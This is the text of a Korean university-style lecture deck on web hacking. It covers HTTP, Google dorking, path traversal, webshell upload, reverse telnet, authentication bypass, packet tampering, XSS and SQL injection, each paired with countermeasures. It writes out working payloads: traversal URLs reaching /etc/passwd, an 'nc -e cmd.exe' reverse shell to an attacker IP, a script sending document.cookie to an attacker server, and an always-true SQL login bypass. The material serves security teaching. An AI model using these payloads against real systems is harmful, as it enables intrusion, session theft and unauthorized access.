인터넷 보안 정보 보안 개론 5장
1 HTTP 프로토콜의 동작 원리를 이해한다. 1 2 구글과 같은 검색엔진을 통해 정보를 수집하는 방법을 알아본다. 2 3 웹 해킹에서 파일 접근과 관련된 공격을 살펴본다. 3 4 리버스 텔넷을 이해한다. 2 5 웹에서의 인증의 구조와 이를 우회하는 방법을 알아본다. 3 6 패킷 변조를 통해 가능한 공격을 살펴본다. 2 7 XSS 공격 및 SQL 삽입 공격을 살펴본다.
Section 01 인터넷의 역사 처음에는 대학에서 연구실간 데이터 전송을 위해, 단순히 하나의 시스템과 다른 하나의 시스템간의 통신을 위한 프로토콜을 만듦. 프로토콜을 해석한 후 이를 다른 프로토콜로 바꾸어 다른 시스템으로 전송해주는 장치인 게이트웨이(Gateway)가 개발됨. 1969년에는 미 국방부 산하 고등연구 계획국 ARPA(Advanced Research Projects Agency)에 의해 전 세계 주요 거점을 연결하는 네트워크가 만들어짐. 이 네트워크를 알파넷이라 부르는데, 흔히들 이 알파넷을 인터넷의 시작이라고 칭함. 1994년 한국통신이 카이스트와 연구기관 등에 학술 교육/정보 교류용으로 제공한‘하나망’을 일반에 개방하여 코넷(KORNET)을 시작함으로써 인터넷에 첫발을 내딛게 됨. WWW(World Wide Web)는 세계 규모의 거미집 또는 거미집 모양의 망이라는 뜻으로 흔히들 짧게‘웹’이라고 읽는데, 1989년 스위스 제네바에 있는 유럽 원자핵 공동 연구소(CERN)에서 근무하던 팀 버너스 리(Tim Berners Lee)에 의해 연구 목적의 프로젝트로 시작됨.
Section 01 인터넷의 역사 WWW 프로젝트의 목적은 전 세계에 흩어져 있는 종업원 및 연구자와 연구 결과나 아이디어를 공유할 수 있는 방법을 모색하는 데 있었음. 처음 계획할 무렵에는 웹을‘Hyper Text Project’라고 명명하였음. Hyper Text’는 60년대에 테드 넬슨이 만든 신조어로써 다른 문서와 연관관계를 가지는 텍스트를 뜻함. Hyper Text를 이용하면 단어나 문구를 마우스로 클릭해서 관련 주제에 대한 정보를 추가로 얻을 수 있다. 현재 웹 문서로 가장 흔히 쓰이는 HTML(Hyper Text Markup Language)은 이 Hyper Text를 효과적으로 전달하기 위한 스크립트 언어. 웹에 접근하기 위해서는 웹 브라우저인 모자이크의 경우 1992년 배포되었고, 글자 위에서 마우스 버튼을 클릭할 수 있는 하이퍼링크(Hyper Link)가 처음 구현됨. 또한 인터넷 초기에 붐을 일으킨 촉발제 역할을 함. 1994년에 발표된 네스케이프 네비게이터는 인터넷의 대중화에 기여했지만 현재는 사라짐.
HTTP HTTP(Hypertext Transfer Protocol) 0.9 버전부터 사용되었다. 0.9 버전은 서버로 부터의 단순 읽기 기능만 지원. 클라이언트가 웹 브라우저를 이용해 서버에 연결을 요청한다. 연결 요청을 받은 서버는 그 클라이언트에 대해 서비스를 준비한다. 서버가 준비 상태가 되면(➊), 클라이언트는 읽고자 하는 문서를 서버에 요청한다(➋). 서버는 웹 문서 중 클라이언트가 요청한 문서를 클라이언트에 전송하고(➌) 연결을 끊음(➍). 0.9 버전은 하나의 웹 페이지 안에서도 텍스트와 그림마다 Connect 과정을 반복해서 거쳐야 했기 때문에 무척 비효율적임.
HTTP Request 패킷 www.wishfree.com/list.php?page=1&search=test 웹 서버에 데이터를 요청할 때 보내는 패킷으로, GET/POST/HEAD 등의 메소드가 있음. GET 메소드 : 가장 일반적. 웹 브라우저에 다음과 같이 요청 데이터에 대한 인수를 URL(Uniform Resource Locator)을 통해 전송. POST 메소드 : GET과 함께 가장 많이 쓰임. URL에 요청 데이터를 기록하지 않고 소켓을 이용해 데이터를 전송. 따라서 POST 방식에서는 위 예의‘?page=1& search= test’와 같은 부분이 존재하지 않음. POST 방식에서는 인수값을 URL을 통해 전송하지 않기 때문에 다른 이가 링크를 통해 해당 페이지를 볼 수 없음. 따라서 접근이 자유롭지 못하고, 웹 브라우저의 <뒤로> 버튼을 클릭하면 POST의 버퍼 부분이 사라져 ‘새로고침’ 경고 문구가 뜨는 단점이 있음. 그러나 파일 업로드는 POST로만 할 수 있으며, GET과는 달리 보내려는 데이터가 URL을 통해서 노출되지 않기 때문에 보안 면에서 매우 중요함. 또한 GET 방식은 보낼 수 있는 데이터의 크기가 최대 4KB이지만, POST 방식은 제한이 없음. 일반적으로 게시판의 목록이나 글 보기 화면은 접근 자유도를 부여하기 위해 GET 방식을 사용하고, 글 저장/수정/삭제 등은 보안 등을 위해서는 POST 방식을 사용. www.wishfree.com/list.php?page=1&search=test
HTTP Response 패킷 클라이언트의 Request에 대한 응답 패킷. 담겨있는 주요 내용으로는 서버에서 쓰이고 있는 프로토콜 버전, Request에 대한 실행 결과 코드(200) 및 설명문 (OK)이 있으며, 전달할 데이터의 형식과 데이터 길이 등과 같은 추가 정보가 MIME 형식으로 표현되어 있음. 헤더 정보 뒤에는 실제 데이터(HTML이나 그림 파일)가 전달됨. 데이터 전달이 끝나면 서버는 연결을 끊음.
웹 서비스 HTML(Hyper Text Markup Language) 가장 단순한 형태의 웹 언어. 웹 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML 페이지를 요청하면 해당 HTML 문서를 클라이언트로 전송해주는데, 이런 웹 페이지를 정적인(Static) 웹 페이지라고 함. 클라이언트의 웹 브라우저를 통해 웹 서버의 무엇인가를 바꿀 수 있는 가능성이 매우 낮기 때문에 웹을 이용한 공격이 매우 어려움.
웹 서비스 SSS (Server Side Script) ASP(Active Server Page), JSP( Java Script Pages)와 같은 언어가 개발됨. ASP나 JSP와 같은 동적인 페이지를 제공하는 스크립트를 SSS(Server Side Script)라 함. 스크립트에HTML 확장자 대신 ASP 또는 JSP의 확장자를 가진 웹 문서를 요청하면 ASP는 DLL이나OCX 같은 파일을 이용해, JSP는 서블릿을 이용해 요청을 처리. 그런 다음 그 결과를 HTML 파일로 만들어 클라이언트에 전송.
웹 서비스 CSS (Client Side Script) 웹 서비스에 이용되는 스크립트에는 자바 스크립트( JavaScript)나 비주얼 베이직 스크립트(Visual Basic Script) 등이 있음. 이들은 서버가 아닌 클라이언트측의 웹 브라우저에 의해 해석되고 적용되는데, 이를 CSS(Client Side Script)라 함.
Section 03 정보 수집과 구글 해킹 웹 사이트에 대한 정보 수집 웹 해킹의 첫 번째는 웹 사이트의 정보를 수집하는 것. 홈페이지에서 게시판이나 자료실, 로그인 부분이 있는지, 또는 홈페이지 파일의 확장자가 ASP인지 JSP나 PHP인지를 확인. 파일 확장자만으로도 시스템이 윈도우 기반인지 유닉스 기반인지 유추할 수 있고, 이를 바탕으로 웹 서버의 정보 수집과 취약점 분석을 위한 범위를 좁힐 수 있음.
웹 사이트에 대한 정보 수집 웹 프록시 PAROS를 이용한 정보 수집 웹 프록시 PAROS의 인터페이스 오른쪽 위에는 웹 서버에 대한 요청 (Request), 응답(Response), 현재 붙잡고 있는(Trap) 창이 나타난다. Trap에서는 아래쪽의 Trap request와 Trap response 항목을 체크해야 해당 패킷을 붙잡아 보는 것이 가능.
웹 사이트에 대한 정보 수집 웹 프록시 PAROS 사용을 위한 브라우저 설정 [도구]-[인터넷 옵션]-[연결]-[LAN 설정]에서 프록시 서버를 다음과 같이 설정해주어야 함. 127.0.0.1을 흔히 루프백(Loopback) 주소라 하는데, PC 자기 자신을 가리킨다. 8080은 Paros의 서비스 포트임.
웹 사이트에 대한 정보 수집 PAROS 를 이용한 취약점 수집.
웹 사이트에 대한 정보 수집 Paros의 Spider 기능을 이용해 웹 서버의 구조 정보를 수집.
웹 사이트에 대한 정보 수집 OWASP(Open Web Application Security Project)에서는 주요 웹 취약점을 매년 발표하고 있음.
구글 해킹 구글 해킹 웹 해킹을 하면서 많은 정보를 수집하는 유용한 방법이 검색 엔진을 이용하는 것임. 흔히 이러한 정보 수집 방법으로 구글을 사용. 구글에서 제공하는 고급 검색 기능
구글 해킹 Site Filetype site:wishfree.com admin filetype:txt 패스워드 특정 사이트만을 집중적으로 선정해서 검색할 때 유용. wishfree.com 도메인이 있는 페이지에서 admin 문자열을 찾으라는 예 Filetype 특정 파일 유형에 대해 검색할 때 사용. 검색어로 파일 확장자가 txt이고 패스워드라는 문자열이 들어간 파일을 검색한 화면 site:wishfree.com admin filetype:txt 패스워드
구글 해킹 link 특정 링크가 포함되어 있는 페이지를 검색할 때 사용. 예를 들어, link:www.wishfree.com이라고 입력해 검색하면 www.wishfree.com 주소를 링크하고 있는 웹 페이지를 검색 cache 구글에서 백업해 둔 페이지의 정보를 보고자 할 때 사용. cache:wishfree.com과 같이 검색하면 구글에 저장된 페이지를 보여줌. 관리자가 자신이 관리하는 웹의 취약점을 확인하여 이를 수정하더라도, 가끔 검색 엔진에 의해 백업된 데이터에 취약점 정보가 남는 경우가 있기 때문에 관리자도 검색 엔진에 백업된 자신의 사이트를 한 번쯤 살펴볼 필요가 있음. 노출되면 안되는 정보가 백업되어 있을 경우에는 이를 삭제해 달라고 정식으로 요청해야 함.
구글 해킹 intitle inurl intitle:index.of admin 디렉토리 리스팅 취약점이 존재하는 사이트를 쉽게 찾을 수 있음 inurl site와 기능이 유사. inurl:login inurl:wishfree.com과 같이 검색하면 URL에 wishfree.com과 login이라는 문자열을 모두 포함하는 사이트를 검색. intitle:index.of admin
구글 해킹 검색 엔진의 검색을 피하는 방법 User-agent: googlebot User-agent: * 서버의 홈 디렉토리에 robots.txt 파일을 만들어 검색할 수 없게 만듬. http://www.wishfree.com/robots.txt 파일이 있으면 구글 검색 엔진은 robots.txt에 있는 디렉토리는 검색하지 않음. robots.txt 파일은 Useragent와 Disallow를 이용. User-agent는 구글 검색 엔진으로부터의 검색을 막기 위해서 다음과 같이 사용. 모든 검색 로봇으로부터 검색을 막으려면 아래와 같이 입력 Disallow 필드는 특정 파일이나 디렉토리를 로봇이 검색하지 못하도록 설정. dbconn.ini 파일을 검색하지 못하도록 하려면 robot.txt 파일에 다음과 같이 입력. 다음과 같이 입력하면 admin 디렉토리에 접근하지 못함. User-agent: googlebot User-agent: * Disallow: dbconn.ini Disallow: /admin/
구글 해킹 http://www.whitehouse.gov/robots.txt
Section 04 파일 접근 디렉토리 리스팅 웹 브라우저에서 웹 서버의 특정 디렉토리를 열면 그 디렉토리에 있는 파일과 디렉토리 목록이 모두 나열되는 것
Section 04 파일 접근 디렉토리 리스팅 화면에 보이지 않는 여러 웹 페이지를 클릭 하나만으로도 직접 접근할 수 있음.
Section 04 파일 접근 임시/백업 파일 접근 파일 다운로드 상용 프로그램을 이용한 편집은 확장자가 bak이나 old인 백업 파일을 자동으로 생성. 또한 이러한 백업 파일들은 서버측에서 실행되고 결과만 웹 페이지로 보여주는 ASP, JSP 파일과는 달리 클라이언트가 그 파일을 직접 다운로드받을 수 있게 해줌. 다운로드한 소스 파일에는 서버의 로직뿐만 아니라 네트워크 정보 등 다양한 정보가 있을 수 있고, 대부분의 웹 스캐너는 이러한 파일을 자동으로 찾을 수 있음. 상용 에디터 등을 이용해 웹 소스를 직접 편집하는 것을 금함. 파일 다운로드 파일을 다운로드할 때 가장 많이 쓰이는 방법은 웹 서버에서 제공하는 파일 다운로드 페이지를 이용. 정상적인 경우 게시판에서 글 목록을 보여주는 list.jsp 파일이 http://www.wishfree.com/ board에 위치한다면 주소창에 다음과 같이 입력하여 다운로드 가능. http://www.wishfree.com/board/download.jsp?filename=사업계획.hwp http://www.wishfree.com/board/download.jsp?filename=../list.jsp
Section 04 파일 접근 파일 다운로드 파일 시스템에서‘.’은 현재 디렉토리를, ‘..’은 상위 디렉토리를 의미. 공격자가 filename 변수에‘../list.jsp’라고 입력하면, 이것은 다운로드가 기본적으로 접근하는 /board/upload 디렉토리의 바로 상위 디렉토리에서 list.jsp를 다운로드하라는 의미.
Section 04 파일 접근 파일 다운로드 /board/admin 디렉토리에 있는 adminlogin.jsp를 다운로드하려면 다음과 같이 입력. download.jsp 파일 자신도 다음과 같이 다운로드할 수 있음. 시스템 내부의 중요 파일도 위와 같은 방법으로 다운로드를 시도. 유닉스 시스템의 경우 /etc/passwd와 같이 사용자 계정과 관련된 중요 파일을 다음과 같은 형태로 시도해볼 수 있음. http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp http://www.wishfree.com/board/download.jsp?filename=../download.jsp http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc/passwd
Section 04 파일 접근 파일 업로드 시스템 내부 명령어를 실행시킬수 있는 웹 프로그램(ASP나 JSP, PHP)을 제작하여 자료실과 같은 곳에 공격용 프로그램을 업로드하는 공격 방식. 이 공격용 프로그램은 웹에서 브라우저를 이용해 접근하면 시스템 내부 명령어를 실행시킬 수 있음. 웹에서 명령을 입력할 수 있도록 만든 cmdasp.asp라는 프로그램을 게시판에 업로드.
Section 04 파일 접근 파일 업로드 취약점 asp 확장자를 가진 파일이 아무런 필터링 없이 업로드된다는 취약점이 존재. 업로드를 할 때는 파일 확장자를 체크해야 하고, 시스템에서는 aSp나 jSp 같은 대소문자의 혼합도 인식하기 때문에 가능한 조합을 모두 필터링해야 함. 반대로 특정 확장자를 가진 파일만 업로드하도록 설정하는 방법도 있음. 필터링 수행시 자바스크립트와 같은 클라이언트측 스크립트 언어로 필터링하면 안됨. 클라이언트측 스크립트 언어는 공격자가 수정할 수 있기 때문에ASP나 JSP 같은 서버측 스크립트 언어에서 필터링해야 함. 첨부 파일에 마우스를 가져가면 브라우저의 아래쪽에 http://192.168.61.128/bbs/upload/cmdasp.asp와 같이 파일이 업로드되어 있는 경로가 나타남. 이 경로 정보는 공격자에게 매우 중요하기 때문에 웹 브라우저에서도 웹 프록시를 통해 노출되면 안됨. 저장 파일 이름이 아무런 변환없이 그대로 저장된다는 것이다. 웹 서버에 악성 파일이 업로드되어도 해당 파일을 찾을 수 없게 파일 이름과 확장자를 변환시켜 저장하면 훨씬 높은 수준의 보안성을 확보할 수 있음.
Section 04 파일 접근 파일 업로드 명령창을 실행시키기 위한 cmdasp.asp의 주소(http://192.168.61.128/bbs/upload/cmdasp.asp)를 웹 브라우저 주소창에 직접 입력하여 실행하면 웹 브라우저에 입력창과 <Run>이라는 버튼을 확인할 수 있다. 다음 그림은 명령을 입력하는 입력란에 dir c:\를 입력하고, <Run> 버튼을 누른 결과다. dir c:\ 명령을 실행한 결과로, C 드라이브에 존재하는 디렉토리와 파일명을 확인할 수 있음.
Section 05 리버스 텔넷 일반적으로 웹 서버는 방화벽 내부에 존재. 그리고 웹 서버는 80번 포트를 이용한 웹 서비스만 제공하면 되기 때문에, 방화벽은 외부 인터넷을 사용하는 사용자에 대해 80포트만을 허용. 이런 경우에는 웹 서버의 텔넷(Telnet)이 열려있어도 방화벽으로 인해 공격자가 외부에서 접근할 수 없음.
Section 05 리버스 텔넷 리버스 텔넷 심화된 공격을 하기 위해서는 텔넷과 유사한 접근 권한을 획득하는 것이 매우 중요. 방화벽에서 인바운드 정책(외부에서 방화벽 내부로 들어오는 패킷에 대한 정책)은 80번 포트 외에 필요한 포트만 빼고 다 막아 놓지만 아웃바운드 정책(내부에서 외부로 나갈 때에 대한 정책)은 별다른 필터링을 수행하지 않는 경우가 많음. 리버스 텔넷은 이런 허점을 이용.
Section 05 리버스 텔넷 리버스 텔넷 실행 과정 예 nc -l -p 80 명령창 획득 : 파일 업로드 등을 통해 공격자가 명령을 입력할 수 있는 명령창을 획득. 리버스 텔넷용 툴 업로드: nc와 같은 리버스 텔넷용 툴을 서버 게시판의 파일 업로드 기능을 이용해 업로드. 공격자 PC 리버스 텔넷 데몬(daemon) 활성화: 서버에서 리버스 텔넷을 보내면 이를 받아 텔넷을 열 수 있도록 리버스 텔넷 툴을 다음과 같이 실행. nc -l -p 80
Section 05 리버스 텔넷 획득한 명령창을 통해 공격자에게 리버스 텔넷을 보내줌. 이 때, 업로드한 nc 파일이 위치한 전체 경로를 입력해주어야 함. 이 때 공격자 IP는 192.168.61.1 리버스 텔넷창을 획득. IP가 웹 서버의 192.168.61.128로 바뀐 것을 확인할 수 있음 c:\inetpub\wwwroot\bbs\upload\nc -e cmd.exe [공격자 IP] 80
Section 05 리버스 텔넷 리버스 텔넷 예 리버스 텔넷 예방법 파일 업로드를 먼저 막아야 함. asp뿐만 아니라 리버스 텔넷 툴같은 것을 실행하지 못하 도록 exe나 com 같은 실행 파일도 업로드를 못하게 해야 함. 또한 외부에서 내부로의 접속뿐만 아니라 내부에서 외부로의 불필요한 접속도 방화벽으로 막는 것이 좋음.
Section 06 인증 우회 인증 우회 인증우회의 예 인증우회의 보안책 관리자 페이지나 인증이 필요한 페이지에 대한 인증 미처리로 인해 인증을 우회하여 접속할 수 있게 되는 취약점. 이 취약점에 노출되면 일반 사용자나 로그인하지않은 사용자가 관리자 페이지에 접근하여 관리자 권한의 기능을 악용할 수 있음. 인증우회의 예 관리자로 로그인해서 관리자용 웹 페이지에 접속할 수 있어야 하는데, 로그인을 하지 않고도 관리자용 웹 페이지에서 특정 작업을 직접 수행할 수 있는 것 www.wishfree.com/admin/login.asp를 통해 관리자로 로그인한 후에야 www. wishfree.com/admin/boardadmin.asp에 접근할 수 있어야 하는데, 관리자로 로그인 하지 않은 채로 www.wishfree.com/admin/boardadmin.asp 에 바로 접근해 게시판을 관리하는 경우. 인증우회의 보안책 인증 우회를 막기 위해서는 웹에 존재하는 중요 페이지에 세션값(쿠키)을 확인하도록 검증로직을 입력해두어야 함
Section 07 패킷 변조 서버에서 클라이언트로 전송되는 패킷 변조 웹 사이트가 언어로 개발됐든지 웹 프록시를 통해서 확인하는 것은HTML. 테스트환경으로 사용하는 웹 페이지의 게시판에서 하나의 글에 대한 열람을 시도. test라는 제목을 클릭하면 다음과 같은 내용을 확인할 수 있음.
Section 07 패킷 변조 웹 프록시를 이용해 내용을 변조. 인터넷 익스플로러에 프록시 설정을 하고 게시판 글 목록에서 웹 프록시에서 Trap을 건 후 글 열람. 다음과 같이 해당 글에 대한 열람을 시도하는 패킷이 서버에 최초로 전송됨을 확인할 수 있음. GET을 통해서 /bbs/board_view.asp?num=3, 즉 게시판의 3번째 글을 보여줄 것을 서버에 요청.
Section 07 패킷 변조 응답 패킷에서 test라고 입력된 제목과 본문을 확인할 수 있음.
Section 07 패킷 변조 test라고 된 내용을 What a amazing day!로 바꾸어 입력.
Section 07 패킷 변조 바뀐 결과 확인.
Section 07 패킷 변조 서버에서 전달되는 패킷 변조를 통한 공격 유형 클라이언트에 해킹하고자 하는 대상이 있는 경우. 웹 브라우저 내용만 바꾸었지만 실제로는 Active X 등의 형태로 여러 프로그램이 클라이언트에 설치되어 웹 서비스를 제공하는 경우가 많음. 이 때 클라이언트에 설치된 서비스 프로그램을 속이는 것이 가능. 서버에서 클라이언트에 정보를 전송했다가 이를 다시 전송받아 처리하는 경우. 예를 들면 서버에서 변수 A의 값이 20임을 확인하고 이 값을 클라이언트에 전송. 그리고 서버는 전송한 변수 A가 필요할 때 자신의 데이터베이스에서 다시 읽지 않고, 클라이언트가 관련 서비스 수행할 때 서버에 다시 전송해주는 A 값을 참조하여 서비스를 수행하는 경우.
Section 07 패킷 변조 패킷 변조 예 2단계에서A=40이라고 바꾸어 전송하면A 값이 다음과 같이 흘러감. 건망증이 심한 여자친구를 속여 돈을 빼앗는 못된 남자의 이야기
Section 07 패킷 변조 클라이언트에서 서버로 전송되는 패킷 변조 앞서 test라는 글을 열람할 때와 똑같은 상황에서 이번에는 /bbs/board_view.asp? num=3에서 글 번호인 3을 4로 바꾸어 봄.
Section 07 패킷 변조 그 결과는 게시판에서 4번째 글을 클릭했을 때와 같음. 클라이언트에서 서버로 전송되는 패킷을 변조하는 것은 일반적인 웹 서비스의 메뉴상 접속할 수 없는 것에 접근하거나 특정한 값을 넣어 시스템의 오작동을 유도하기 위한 목적으로 사용.
Section 07 패킷 변조 그 결과는 게시판에서 4번째 글을 클릭했을 때와 같음. 클라이언트에서 서버로 전송되는 패킷을 변조하는 것은 일반적인 웹 서비스의 메뉴상 접속할 수 없는 것에 접근하거나 특정한 값을 넣어 시스템의 오작동을 유도하기 위한 목적으로 사용.
Section 08 XSS XSS 쿠키(COOKIE) Set-Cookie: Name=Value; expires=Date; 'Cross Site Scripting'의 약자로 줄여서 CSS라고도 부르나 웹에서 레이아웃과 스타일을 정의할 때의 사용되는 캐스케이딩 스타일 시트(Cascading Style Sheets)와 혼동되어 일반적으로 XSS라고 함. XSS는 과부하를 일으켜 서버를 다운시키거나 요즘 문제가 되는 피싱(Phishing) 공격의 일환으로 사용되기도 하지만 가장 일반적인 목적은 웹 사용자의 정보 추출. 쿠키(COOKIE) 1994년 네스케이프에 의해 처음 사용된 기술로, 사용자들이 웹 사이트를 세션을 유지하면서 편리하게 이용할 수 있도록 하기 위해 만들어짐. 쿠키는 사용자가 인터넷 웹 사이트에 방문할 때 생기는 4KB 이하의 파일. 클라이언트가 웹 사이트에 방문하면 접근 기록이 클라이언트에 파일로 남고, 이 파일은 사용자와 웹 사이트를 연결해주는 정보를 담고 있음. 쿠키의 예 Set-Cookie: Name=Value; expires=Date; Path=PATH; domain=DOMAIN_NAME: Secure
Section 08 XSS C:\Document and Settings\사용자이름\Cookies에서 여러분이 인터넷을 이용할 때 만들어진 쿠키를 확인할 수 있음. 쿠키 파일은 같이‘사용자이름@접속한 사이트’형태로 구성됨. 그 내용은 웹 사이트나 상황에 따라 다르지만 쿠키를 만든 사이트의 도메인 이름, 그 사이트를 구분하는 숫자, 쿠키의 만기일과 같은 정보로 이루어져 있음.
Section 08 XSS 쿠키의 용도 쿠키에 관한 오해 사이트 개인화 장바구니 시스템 웹 사이트 이용 방식 추적 타겟 마케팅 쿠키가 바이러스를 전파한다? 쿠키는 사용자 컴퓨터에 피해를 입힌다? 특정 웹 사이트가 저장한 쿠키를 다른 웹 사이트에서도 읽어들일 수 있다?
Section 08 XSS XSS 공격의 실제 정상적인 게시판의 글 작성과 열람
Section 08 XSS <script>alert(document.cookie)</script>
Section 08 XSS XSS 테스트 코드를 입력한 게시판 글 열람 해당 글의 내용이 보이지 않고 스크립트가 실행. 화면에 뿌려지는 것은 현재 사용자의 쿠키값임.
Section 08 XSS XSS를 이용한 쿠키 획득 코드는 게시판을 열람할 때 사용자의 쿠키 정보가 해커의 웹 서버(192.168.1.10)로 전송되게 함. 물론 글을 읽는 사람에게는 다음과 같이 본문 외의 내용은 보이지 않음. <script>url="http://192.168.1.10/GetCookie.asp?cookie ="+document.cookie;window.open(url,width=0, height=0);</script>
Section 08 XSS 메일 서비스를 이용한 XSS 공격
Section 08 XSS XSS를 이용한 DoS 공격 XSS 공격에 대한 대응책
Section 09 SQL 삽입 공격 SQL 문에 대한 이해 MS-SQL 2000 의 쿼리 분석기 왼쪽에는 지금까지 우리가 이용한 서버의 데이터베이스 목록이 존재. 마지막에 웹 서버와 연동되는 web이라는 데이터베이스가 위치하고 있음. 그리고 게시판 테이블인 board와 사용자 정보 테이블인 member, 우편 번호 정보가 들어 있는 zipcode는 필자가 생성한 테이블을 확인할 수 있음.
Section 09 SQL 삽입 공격 Member 테이블 정보 확인 select user_id from member
Section 09 SQL 삽입 공격 웹 로그인시의 SQL 문 웹에서 사용자가 ID와 패스워드 입력창에 자신의 ID와 패스워드를 입력하면, 다음과 같은 SQL 문이 작성되어 데이터베이스에 전송됨. select user_id from member where user_id ='입력된 아이디' AND user_pw='입력된 패스워드' select user_id from member where user_id ='wishfree' AND user_pw='dideodlf’
Section 09 SQL 삽입 공격 잘못된 패스워드 입력 select user_id from member where user_id ='wishfree' AND user_pw='did'
Section 09 SQL 삽입 공격 실제 웹 로그인 소스 SQL 삽입 공격은 어떤 수단을 쓰든 SQL의 결과값이 NULL이 나오지 않게, 즉 출력값이 사용자 ID가 되도록 하여 로그인하는 것. 조건값에 ' or ''='을 입력하면 where로 입력되는 조건문을 항상 참으로 만들 수 있음. Qeury = "SELECT user_id FROM member WHERE user_id = '"&strUser_id&" ' AND password = ' '&strPassword&" ' " strAuthCheck = GetQueryResult(Query) If strAuthCheck = " " then boolAuthenticated = Fasle Else boolAuthenticated = True EndIf
Section 09 SQL 삽입 공격 SELECT user_id FROM member WHERE user_id = '' or ''='' AND user_pw = '' or ''=''
Section 09 SQL 삽입 공격 웹에서 잘못된 패스워드 입력시 웹에서 SQL 삽입 공격시
Section 09 SQL 삽입 공격 SQL 문이 결과적으로 참이 될 수 있다면 SQL 삽입 공격에 사용되는 SQL 문은 무엇이라도 상관없음. 이러한 SQL 삽입 공격은 로그인뿐만 아니라 웹에서 사용자의 입력값을 받아 데이터베이스에 SQL 문으로 데이터를 요청하는 모든 곳에 가능. SQL 삽입 공격을 막는 방법은 사용자가 입력창을 통해서 SQL 문을 완성하여 데이터베이스에 전송할 때 이 입력값 중에 특수문자가 존재하는지 여부를 필터링하는 것.
요약 인터넷의 역사 1969년 미 국방부 산하 고등연구 계획국 ARPA(Advanced Research Projects Agency)에 의해 전 세계 주요 거점을 연결하는 네트워크 구성 1989년 스위스 제네바에 있는 유럽 원자핵 공동 연구소(CERN)에서 근무하던 팀 버너스 리(Tim Berners Lee)가WWW 프로젝트 시작 HTTP GET: 요청 데이터에 대한 인수를 URL(Uniform Resource Locator)을 통해 전송한다. 보낼 수 있는 데이터의 최대 크기는 4KB이다. POST: URL에 요청 데이터를 기록하지 않고 소켓을 이용해 데이터를 전송한다. 웹 언어 SSS(Server Side Script): ASP나 JSP와 같은 동적인 페이지를 제공한다. 확장자가 asp나 jsp인 웹 문서를 요청하면 서버가 asp는 DLL이나 OCX와 같은 파일을 이용, jsp는 서블릿을 이용해 그 요청을 처리한 결과를 HTML 파일로 만들어 클라이언트에 전송한다. CSS(Client Side Script): 웹 서비스에 이용되는 스크립트로, 자바 스크립트나 비주얼 베이직 스크립트, JScript 같은 것이 있다. 서버가 아닌 클라이언트측의 웹 브라우저에 의해 해석되고 적용된다.
요약 구글 해킹 파일 접근 디렉토리 리스팅: 특정 디렉토리를 브라우저에서 열람했을 때 디렉토리에 있는 모든 파일이 나타나는 문제점, 예방책은 웹 서버의 설정을 수정하거나 패치 수행 임시/백업 파일 접근: old, bak 등의 임시 및 백업 파일들을 접근하여 다운로드 파일 다운로드: 웹에서 제공하는 파일 다운로드 서비스를 이용해 임의의 파일 다운로드 파일 업로드: 매우 간단하면서도 효과가 큰 공격으로 공격용 프로그램을 게시판이나 자료실에 있는 파일 첨부 기능을 이용하여 공격하는 방법. 대응책은 파일의 확장자를 서버 스크립트 언어에서 필터링 수행
요약 리버스 텔넷 (Reverse Telnet) 인증 우회 패킷 변조 XSS SQL 삽입공격 웹 해킹을 통해 시스템의 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 쉘을 획득하기 위한 방법. 공격 대상인 서버에서 공격자인 클라이언트로 텔넷 접속을 넘겨주는 방식으로 텔넷 연결을 생성한다. 인증 우회 로그인 과정을 거치면 사용자 세션이 생성되는데, 세션 체크가 지속적으로 이루어지지 않아 임의의 페이지에 인증을 거치지 않고 접근이 가능한 취약점. 대응책은 관리자 페이지에 세션 검증 로직 삽입하는 것이다. 패킷 변조 클라이언트와 서버 사이에 전송되는 패킷을 변조하는 것이다. XSS 웹 사이트가 사용자의 입력값을 받을 때 특정 악성 스크립트가 실행되어 사용자의 쿠키값과 같은 중요 정보가 공격자에게 추출당하는 취약점. 대응책은 사용자의 입력값에 대한 적절한 필터링을 수행하는 것이다. SQL 삽입공격 데이터베이스와 연동되는 입력란에 공격자가 원하는 SQL 문을 삽입하여 공격. SQL 삽입 공격을 통해 공격자는 로그인 인증을 우회하거나 다른 테이블의 내용을 열람 가능. 대응책은 사용자의 입력을 받아 데이터베이스와 연동하는 부분은 특수문자 등의 입력값을 필터링하는 것이다.
정보 보안 개론 5장 끝